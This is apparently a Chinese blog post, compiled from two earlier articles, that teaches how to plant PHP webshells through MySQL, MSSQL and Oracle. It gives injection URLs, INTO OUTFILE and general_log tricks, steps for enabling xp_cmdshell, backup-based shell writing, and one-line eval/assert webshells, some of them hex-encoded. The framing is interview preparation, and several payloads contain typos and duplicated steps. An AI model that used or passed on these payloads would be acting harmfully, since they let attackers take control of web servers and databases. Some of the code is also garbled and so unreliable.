参考文章:

https://forum.butian.net/share/362

https://zhuanlan.zhihu.com/p/178866188

两篇文章总结归纳为这篇文章,其中 Mysql 可以看第一篇文章,Mssql 和 Oracle 可以看第二篇文章。

因为是总结的,所以有些地方可能有纰漏,如果遇到问题,还请自行判断和解决。

Mysql

基本条件

  1. 对web目录有写权限,一般 MS 系统都有,但 Linux 系统一般都是rwxr-xr-x,组跟其他用户都没有权限写操作
  2. 知道物理路径
  3. 数据库的当前用户为ROOT或拥有FILE权限
  4. PHP的GPC参数为off状态

日志写马

条件

  1. 全局变量general_log为ON

  2. 需要secure_file_priv为空,即secure_file_priv=""

  3. secure_file_priv="D:\",指定为D盘的的情况下,web搭建的盘也必须是在D盘。

  4. secure_file_priv 一定不能为 Null

原因

general_log指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭,但是可以通过sql查询设置为 ON

secure_file_priv=”” 就是可以into outfile写入任意磁盘文件。

secure_file_priv设置通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量

知道物理路径(into outfile ‘物理路径’), 这样才能写对目录。

写入路径的时候,其中路径里的\\\或者/代替,因为\的话会消失一个

实践

1.先设置general_log为on:

1
http://ip/?id=-1' union select 1,2,3;set global general_log='on';--+

2.再设置general_log_file为一个php后缀文件:

1
http://ip/?id=-1' union select 1,2,3;set global general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\log.php';--+
  1. 直接访问http://ip/?id=<?php assert($_POST[v]);?>;,因为sql语句不管对错日志都会记录

  2. webshell 工具连接 http://ip/log.php

直接登录进别人的数据库的时候:

1
2
3
set global general_log_file='D:/phpStudy/PHPTutorial/WWW/1.log';

select '<?php assert($_POST[v]);?>';

查看数据库日志的具体位置,webshell 工具直接连接。

相关命令

  1. 查看 general_log的状态和 log 文件的位置
1
2
3
4
5
6
7
8
mysql> show global variables like "%general_log%";
+------------------+--------------------------------------------------------+
| Variable_name | Value |
+------------------+--------------------------------------------------------+
| general_log | OFF |
| general_log_file | D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log |
+------------------+--------------------------------------------------------+
2 rows in set (0.02 sec)
  1. 设置数据库日志的具体到web目录那里:
1
2
mysql> set global general_log_file='D:/phpStudy/PHPTutorial/WWW/1.log';
Query OK, 0 rows affected (0.07 sec)
  1. 检查当前用户是否具备写权限:

select user,file_priv from mysql.user;

确认其用户的值为Y即代表此用户拥有文件写入权限。

mysql into outfile注射一句话木马

条件

  1. mysql用户拥有file_priv权限

show global variables like '%secure%';查看into outfile可以写入的磁盘。
(1)当secure_file_priv为空,就可以写入磁盘的目录。
(2)当secure_file_priv为G:\,就可以写入G盘的文件。
(3)当secure_file_priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空,NULL和空的类型不一样)

  1. 能够使用union、或者有堆叠注入、或者已经成功登录到别人的数据库里了

(1)能够使用union 。(需要mysql 3以上的版本)这个条件是在url里才需要,如果直接登录进别人的数据库,那么就不需要能够使用union了

1
2
3
4
例子:
?id=1 union select '<?php @e val($_POST['c']);?>' into outfile "C:/phpStudy/WWW/a.php"

?id=1')) UNION SELECT 1,2,'<?php @e val($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

(2)或者有堆叠注入,就可以直接?id=1;select '<?php @e val($_POST['c']);?>' into outfile "C:/phpStudy/WWW/a.php"这样执行了。

不过首先要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query(),那么我们此处就可以执行多个sql语句进行注入。一般后台查询数据库使用的语句都是用mysql_query(),所以堆叠注入在mysql上不常见。mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句。

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

(3)再者就是已经成功登录到别人的数据库里了,直接执行select '<?php @e val($_POST['c']);?>' into outfile "C:/phpStudy/WWW/a.php"

实践

Union 注入法

1.判断注入类型

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' 报错
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常

2.判断列数

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+ 正常

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+ 报错

说明存在3列

3.文件写入

1.判断注入类型

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' 报错
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常

2.判断列数

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+ 正常

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+ 报错

说明存在3列

3.文件写入

1
http://127.0.0.1/sqli-labs-master/Less-7?id=1')) UNION SELECT 1,2,'<?php @e val($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

或者"D:/phpStudy/PHPTutorial/WWW/hack.php",就是不能\,经过测试这样导入不成功。

堆叠注入法:

堆叠注入:http://127.0.0.1/sqli-labs-master/Less-40/?id=1');SELECT '<?php @e val($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php";--+

直接登录数据库法:

1
2
SELECT "<?php @e val($_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

然后就可以用 webshell 管理工具连接了。


Mssql

条件

  1. 有相应的权限db_owner
  2. 获得Web目录的绝对路径

写入webshell方法

利用xp_cmdshell命令、
差异备份写入shell、
log备份写入shell。

使用XP_cmdshel写入Webshell

首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:
通过报错信息查找;
通过目录爆破猜解;
通过旁站的目录确定;
通过存储过程来搜索;
通过读取配置文件查找。

其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshellxp_dirtree,一般需要手动开启。
命令execute master…xp_dirtree ‘c:’;可以查出所有c:\下的文件、目录、子目录。

查找网站目录的绝对路径
在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。

开启 xp_cmdshell

Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。

1
2
EXEC sp_configure ‘show advanced options’,1;//允许修改高级参数RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;//打开xp_cmdshell扩展RECONFIGURE;

未能找到存储过程 ‘master..xp_cmdshell’
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’,’xpsql70.dll’

开启了xp_cmsshell之后我们就可以执行CMD命令了,例如:
for /r c:%i in (1*.php) do @echo %i
就可以查询c:\目录下的所有符合1*.php的文件,同理,在实际应用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。

使用xp_cmdshell写入WebShell
我们可以通过xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下
PAYLOAD:1’;execmaster..xp_cmdshell’echo^>F:\PhpStudy20180211\PHPTutorial\WWW\cmd.php’;

使用差异备份写入WebShell

实战参考:https://www.bianchengquan.com/article/198173.html

如果能直接使用xp_cmdshell就尽量不要使用差异备份,因为会产生备份文件,如果数据库很大的话,会造成影响

首先对某一数据库进行备份。
PAYLOAD:id=1’;backup database 库名 to disk=‘F:\PhpStudy20180211\PHPTutorial\WWW\back.bak’;

数据库备份
其次将WebShell代码写入数据库中,
PAYLOAD:id=1’; create table cybk([cmd][image]);#创建一个新表
PAYLOAD:id=1’;insert into cybk(cmd)
vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);

#将WebShell的代码转换成ASCII码

最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码。
PAYLOAD:id=1’; backup database library to disk=’F:\PhpStudy20180211\PHPTutorial\WWW\cybk.php’ WITHDIFFERENTIAL,FORMAT;

使用log备份写入WebShell

使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式,相比较差异备份而言,使用Log备份文件会小的多。
首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。

ORACLE

条件

  1. 有DBA权限

  2. 获得Web目录的绝对路径

Oracle写入webshell

首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,在这里我们将其指向/home/oracle这一路径下。create or replace directory IST0_DIR as ‘/home/oracle’;

img

创建好后,我们需要对其进行一下授权过程,让其能够顺利的写入WebShell代码。

grant read, write on directory IST0_DIR tosystem;

然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中。

img

直接访问该文件,即可查看到其中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。

以上就是三大数据库(MySQL、SqlServer、Oracle)写入WebShell的正确姿势

总结

技术虽然比较旧,但是算是面试会被经常问到的问题,应该去总结和实验。

如果可以获取到数据库的用户名和密码的话,就可以直接用工具 MDUT 来进行管理数据库了。